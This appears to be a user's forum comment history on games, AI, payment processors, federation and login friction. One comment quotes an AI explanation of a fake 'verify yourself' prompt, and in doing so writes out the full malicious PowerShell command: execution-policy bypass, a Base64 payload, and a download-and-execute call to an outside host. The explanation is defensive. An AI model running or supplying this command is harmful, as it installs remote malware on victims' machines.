Google's Gemini will make its way into Dragon Quest X to power a "Chatty Slimey" AI companion, Square Enix has announced
Honestly, a small llm in these situations would be great idea, but it should be a very small local or hosted by the company itself (with a setting to turn off)
A small AI in games is the stuff I do want. But there is no reason gemni needs to be involved in a game at all

Please, don't post articles "this/that store ban nsfw content": it's payment system (like Visa/MasterCard) that want to regulate/take control of censorship above your government.

My understanding is part of it is that payment processor says stop doing it or we drop you all together. Not a we won't be involved but lose them as an avenue.
Their way or highway, no real middle ground posible

Unity Engine Rule
Sounds like unity doesn't want any new devs to go over to them and for the ones who did to start moving away to other engines.
Ask for x per purchase would at least get less backlash but I guess they couldn't track that as easily

The issue beyond them trying to change chromium to not have it but they are trying to make it so part of websites have the "security" built in as well

Shouldn't minimum wage just increase proportionately to inflation?
Got to think about those poor business if they have to pay a nickel more for labor they would be broke
Joking aside, minuim wage is a hot issue. One side fully believes that minuim wage is in fact a bad thing and shouldn't exist. So for them putting a bill out that auto raises it would be counter productive to their interests business being able to hire with supply demand

Hot Take: 5e is too bloated with unnecessary rules and should be simplified
Depends on the game the group likes. More narrative driven game it can conflict and have issues
However, there is something nice about knowing a balanced way to do x or y across the board and at different tables.
A good gm should be able to make a note of something or make a quick call especially in pf2e case were generic difficulty dc per level is given

Depends on if it can scale and how far apart each has to be from another. A single windmill is not as impressive but you get a field of them you generate much more, hopefully it can get closer to a solar panel and be spread along a large are.
Imagine dead space being utalized as a supliment.

what is the alternative to youtube?
One thing to keep in mind beyond hosting cost is the uploader making money. YouTubes partner or paid channel things work (there are complaints) it's a LOT harder to replace those freeas add revenue pays them

Baldur's Gate 3 won so many awards that it started to "affect development", forcing Larian to send "rotating teams" of devs to ceremonies
Reply in thread
They were working on it for patches and such. Plus they are probably starting the "next big thing" and having your dev team leave kinda hurts that xp

why can't we have federated identity ?
Reply in thread
In a way yes it's similar to email need to know if your @gmail or @yahoo.
As for "important" people, same noteworthy as any other thing. Only extra they could do is if they are with a company could have a server that is @target @mbl or @meta (though everyone might block the latter xp)

Will the game pick up updates if you bypass Steam and the Larian Launcher?
1 of the 2 would need to open to get updates. Steam would do it in the background the smoothest I think

As someone who used to have to make those cases. They don't care about the clippers it's the expensive makeup that's in that same section and we only had a case that could do that entire area.
Some things are in the case by proximity more then anything else, thus it can be on the overstock because whatever

What does this command do that this website wants me to "verify" myself by running in the run window?
One of the moments that Ai can be good. I asked googled gemni
This command is highly malicious and is designed to execute a script downloaded from a remote server. Here's a breakdown of what each part does:
- conhost cmd /c: This part starts a new command prompt window (cmd) and then immediately executes the following command (/c) within it. conhost is a legitimate Windows process, but here it's being used as a wrapper.
- powershell /ep bypass /e JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcwA6AC8ALwBtAGEAcwB0AHIAYQB3AC4AdABvAHAA LwBtAGUvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGkAdABlAA==: This is the core malicious part.
- powershell: Invokes the PowerShell interpreter.
- /ep bypass: This is crucial. /ep stands for "execution policy." bypass tells PowerShell to bypass its execution policy, meaning it will run any script regardless of the local security settings that might otherwise prevent untrusted scripts from running. This is a common tactic for malware.
- /e JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcwA6AC8ALwBtAGEAcwB0AHIAYQBhAC4AdABvAHAA LwBtAGUvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGkAdABlAA==: The /e switch indicates that the following string is an encoded command. The string JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcwA6AC8ALwBtAGEAcwB0AHIAYQB3AC4AdABvAHAA LwBtAGUvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGkAdABlAA== is a Base64 encoded string. Let's decode the Base64 string to see the actual PowerShell command: Decoded PowerShell command: $site = Invoke-RestMethod 'https: //mastraw.top/me/day'; iex $site Now we can fully understand the malicious intent:
- $site = Invoke-RestMethod '# https: //mastraw.top/me/day': This command uses Invoke-RestMethod to download content from the URL 'https://mastraw/. top/me/day' . This URL is likely hosting a malicious PowerShell script or some other form of executable code.
- ; iex $site: The semicolon acts as a command separator. iex is an alias for Invoke-Expression. This command takes the content downloaded from 'https://mastraw.top/. /me/day' (which is stored in the $site variable) and executes it directly as a PowerShell command. In summary, this command is designed to:
- Bypass PowerShell's security restrictions.
- Download a script from a specific remote website '(https. ://mastraw.top/me/day)' .
- Immediately execute that downloaded script on the victim's computer. The content of the script downloaded from' https :// mastraw.top/me/day' is unknown without accessing that URL, but given the nature of this command, it's almost certainly malicious. It could be anything from a ransomware dropper, a keylogger, a remote access trojan (RAT), or a cryptocurrency miner. If you encountered this on a computer, it is highly compromised and should be immediately isolated from the network and professionally cleaned or reimaged.
Edit:added back tick to urls

This still baffles me, but I guess it's good for federation?

Whats funny is sometimes its used as a test drive. Baulders gate as a new one I know had a decent amount of pirating, and then many forms are talking about how they loved it and then bought a copy.

Are we seriously calling medicinal cannabis "plant medicine" now and trying to hide what it actually is?
It probably links to it being illigal at the federal level still so ada would have to be sly about it.

Fully agree, it's almost security theater.
They need to offer a way for use with a password manager, maybe a slightly hidden option or detecting a really long password to stop all the extra bits.
I forgot what the service was but it will have my user and pass, prompt the email verify, and then it will ask for the token generated in an Auth app.
At a certain point the proper user probably can't get in
